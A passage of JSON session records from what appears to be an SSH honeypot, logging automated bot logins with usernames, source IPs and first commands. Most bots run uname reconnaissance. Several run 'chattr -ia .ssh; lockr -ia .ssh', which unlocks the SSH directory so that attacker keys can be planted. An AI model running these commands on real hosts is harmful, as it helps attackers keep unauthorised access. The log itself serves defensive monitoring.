  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:30.111131+00:00",
  "ended_at": "2026-08-26T12:03:33.688854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fa256a4-dff9-468b-b6e1-1eb2a4c41865",
  "name": "lonesome-indigo-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 40796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:03:27.647177+00:00",
  "ended_at": "2026-08-26T12:03:29.496024+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5af0a729-8289-4eb6-92cc-2b78d1f4bfb8",
  "name": "creaky-sleepy-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41838,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 761,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:03:25.523895+00:00",
  "ended_at": "2026-08-26T12:03:33.695424+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "e427bc72-ad3d-4923-a103-13e36ac36c03",
  "name": "distant-gentle-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 40790,
  "username": "kn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:03:24.433584+00:00",
  "ended_at": "2026-08-26T12:03:25.643985+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "66456b19-8775-47e4-a8da-bbdb5b15ba84",
  "name": "reedy-amber-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:03:00.487932+00:00",
  "ended_at": "2026-08-26T12:03:05.313164+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1cce6a5d-dd14-4963-bdd6-cf37af612d8a",
  "name": "whispering-snowy-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42916,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:02:43.783681+00:00",
  "ended_at": "2026-08-26T12:02:51.870614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86fccb70-8cc3-4b0d-aa7a-997d8b2ce89f",
  "name": "marine-buoyant-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49570,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 599,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:02:40.338552+00:00",
  "ended_at": "2026-08-26T12:02:51.869609+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1671
 },
 {
  "id": "720ba6fe-107a-40f3-b943-57a54a9a3516",
  "name": "marbled-early-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34810,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:02:39.734453+00:00",
  "ended_at": "2026-08-26T12:02:44.658416+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a3411e99-c6c7-4877-a0c7-513f43f33c44",
  "name": "wandering-solar-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 38942,
  "username": "splunk",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:02:29.254272+00:00",
  "ended_at": "2026-08-26T12:02:35.296860+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97d542c8-fb42-4720-8bbf-ed1c4747867a",
  "name": "frosty-lofty-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 38930,
  "username": "alex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:02:23.466683+00:00",
  "ended_at": "2026-08-26T12:02:29.234901+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b607e4b1-8409-4bbe-90a7-89d5b6021f89",
  "name": "fearless-lawful-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57194,
  "username": "splunk",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 570,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:02:22.655548+00:00",
  "ended_at": "2026-08-26T12:02:35.295764+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "202dd45b-81f9-4237-81b0-646ba92409b2",
  "name": "pristine-peaty-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45850,
  "username": "alex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 651,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:02:14.766316+00:00",
  "ended_at": "2026-08-26T12:02:29.233236+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "a2747a8d-c5a9-49e2-a646-526de9bb61f8",
  "name": "fringed-muted-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 606,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:48.174726+00:00",
  "ended_at": "2026-08-26T12:01:51.931693+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cb59183a-5bca-49a1-8223-53960a98c1b9",
  "name": "crystal-watchful-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44894,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 875,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:01:41.488922+00:00",
  "ended_at": "2026-08-26T12:01:43.152346+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2188
 },
 {
  "id": "5694d4a3-3a30-4e2b-b765-2ec7ecdb297f",
  "name": "tangled-misty-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:36.631353+00:00",
  "ended_at": "2026-08-26T12:01:41.767010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8c7127e-580d-4cd4-8142-8d91100e8bd9",
  "name": "quaint-thorny-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 574,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:27.861920+00:00",
  "ended_at": "2026-08-26T12:01:31.042344+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9d4f7187-db57-4390-800f-f1acf9cad117",
  "name": "creaky-reedy-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57222,
  "username": "coder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:01:24.484456+00:00",
  "ended_at": "2026-08-26T12:01:30.663231+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "098dd574-c2c0-4571-b34d-1dcc31573416",
  "name": "cheerful-dutiful-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53150,
  "username": "coder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:20.251364+00:00",
  "ended_at": "2026-08-26T12:01:30.664395+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "b12ee411-3333-40ca-a4de-4a7ddd3d66b8",
  "name": "smoky-peaty-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44912,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:01:16.952990+00:00",
  "ended_at": "2026-08-26T12:01:18.934028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55571dc5-b433-4277-a7dd-81f696f601c4",
  "name": "wistful-marine-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 32966,
  "username": "gitlab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:01:16.226563+00:00",
  "ended_at": "2026-08-26T12:01:23.841038+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ec14f50-b835-4e05-968d-101995ca5df1",
  "name": "mellow-fearless-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:01:13.992418+00:00",
  "ended_at": "2026-08-26T12:01:15.246339+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6dfba3b5-8c39-47d1-b46c-9f304d1f71b4",
  "name": "wistful-fickle-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56656,
  "username": "gitlab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:08.605577+00:00",
  "ended_at": "2026-08-26T12:01:23.839534+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "f4f4bf5c-11d6-441d-9b1f-4d6a8b223c5e",
  "name": "burly-solar-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61791,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:01:04.571690+00:00",
  "ended_at": "2026-08-26T12:01:06.584478+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52121572-4f98-4823-8298-58a3627b5b1b",
  "name": "thrifty-craggy-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41248,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 403,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:00:45.739721+00:00",
  "ended_at": "2026-08-26T12:00:49.548013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11b0ff87-8b24-47e5-a40d-afd9351fd351",
  "name": "vivid-silent-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53008,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:00:30.420565+00:00",
  "ended_at": "2026-08-26T12:00:36.330736+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fbafc228-9063-4de1-adfc-b3ee45cf1507",
  "name": "mighty-thorny-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 439,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:00:15.595895+00:00",
  "ended_at": "2026-08-26T12:00:21.238263+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "582610d4-e112-4d8d-b487-240d63d0b0cc",
  "name": "wry-smooth-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51094,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 596,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:00:05.212598+00:00",
  "ended_at": "2026-08-26T12:00:10.428693+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "216dd79f-18bc-4b87-817d-49c17e4712ba",
  "name": "whispering-mighty-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60740,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:56.425542+00:00",
  "ended_at": "2026-08-26T11:59:59.433169+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3e0f6546-02bc-4714-8962-dbe9dd9368c9",
  "name": "cosmic-wistful-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37044,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 578,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:48.723944+00:00",
  "ended_at": "2026-08-26T11:59:54.525427+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ab88dac-41e6-4015-80ef-26acb1fa6a2d",
  "name": "loyal-burly-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.41",
  "src_port": 32358,
  "username": "oussama",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:59:34.343562+00:00",
  "ended_at": "2026-08-26T11:59:35.636562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8101c7b3-1820-4f8a-8aa1-2dbcb1edd4a4",
  "name": "keen-woven-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35414,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:30.161399+00:00",
  "ended_at": "2026-08-26T11:59:35.761457+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef00d923-8d5a-450a-8f25-bfa97294c879",
  "name": "cheerful-rambling-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:21.268175+00:00",
  "ended_at": "2026-08-26T11:59:26.842103+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f883c9cf-91a8-48a8-b906-71b3c9cc03e8",
  "name": "graceful-proud-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60790,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:59:09.508184+00:00",
  "ended_at": "2026-08-26T11:59:14.376683+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ae2fa13-ef6b-42df-b6d1-bbf77f59b35c",
  "name": "frosty-regal-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44698,
  "username": "adminftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 865,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:59:05.004575+00:00",
  "ended_at": "2026-08-26T11:59:06.357144+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2169
 },
 {
  "id": "cd2f85f2-89b3-46b4-bdb7-064e58e4b937",
  "name": "courtly-electric-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60100,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:04.942994+00:00",
  "ended_at": "2026-08-26T11:59:09.672388+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd0b1838-1652-49dc-917c-fccd545fdc46",
  "name": "clever-inland-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43558,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 650,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:02.492007+00:00",
  "ended_at": "2026-08-26T11:59:14.378072+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "2ff6fe92-e615-4b2a-bcbc-4034358933b2",
  "name": "gloomy-clever-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44714,
  "username": "adminftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:58:40.993000+00:00",
  "ended_at": "2026-08-26T11:58:42.489932+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2484e350-6ac1-4593-881a-ed285a6838ca",
  "name": "gloomy-stormy-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44706,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:58:37.893524+00:00",
  "ended_at": "2026-08-26T11:58:39.257903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d5bbf0ed-1fa7-4c81-ba73-32984a9fedfe",
  "name": "woven-rambling-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34262,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 661,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:58:33.856965+00:00",
  "ended_at": "2026-08-26T11:58:37.227463+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e01a7f01-2692-4ecb-ac2a-470bb63beeca",
  "name": "orderly-velvet-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.39",
  "src_port": 32876,
  "username": "pi",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:58:30.885182+00:00",
  "ended_at": "2026-08-26T11:58:31.224285+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47114984-59ef-4eab-94f7-0ba206d94d83",
  "name": "jagged-bashful-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 772,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:58:22.323943+00:00",
  "ended_at": "2026-08-26T11:58:26.421248+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "76d63bf8-32cd-4947-9953-1214e469cf4b",
  "name": "blithe-rugged-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44694,
  "username": "adminuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:58:20.025726+00:00",
  "ended_at": "2026-08-26T11:58:24.461642+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ffca668-ec27-4b9b-81ae-18bd847ce43b",
  "name": "whispering-gilded-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59036,
  "username": "adminuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 658,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:58:15.138773+00:00",
  "ended_at": "2026-08-26T11:58:24.460433+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "6dd8eaf4-f75e-48b3-bf7a-ce69fa346fb6",
  "name": "gritty-peaty-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44662,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:58:09.969118+00:00",
  "ended_at": "2026-08-26T11:58:19.368827+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34410e58-f952-4bd2-b707-42e9972e3558",
  "name": "orderly-civil-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34592,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:58:05.032017+00:00",
  "ended_at": "2026-08-26T11:58:19.367836+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "dbec48ca-ccf2-4b33-8448-9abeb9ee44e8",
  "name": "golden-gloomy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47888,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 563,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:57:45.540670+00:00",
  "ended_at": "2026-08-26T11:57:51.515450+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6a721df4-21c9-46e3-8935-b1dbd789ebfe",
  "name": "windswept-muted-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:57:28.958102+00:00",
  "ended_at": "2026-08-26T11:57:32.766235+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fafd0346-a92b-4a56-aa3a-e5094030a776",
  "name": "mossy-breezy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 573,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:57:11.509724+00:00",
  "ended_at": "2026-08-26T11:57:15.217341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "625c4537-99fc-4044-9937-06d760191d2b",
  "name": "drifting-sterling-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 552,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:56:59.179465+00:00",
  "ended_at": "2026-08-26T11:57:03.142668+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e9b2fcb-5290-4594-962a-6a23e3a9f66f",
  "name": "civil-granite-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48168,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 565,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:56:46.886749+00:00",
  "ended_at": "2026-08-26T11:56:50.517017+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4814c829-6084-4755-bdbe-5c85be1a44b7",
  "name": "early-fierce-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59940,
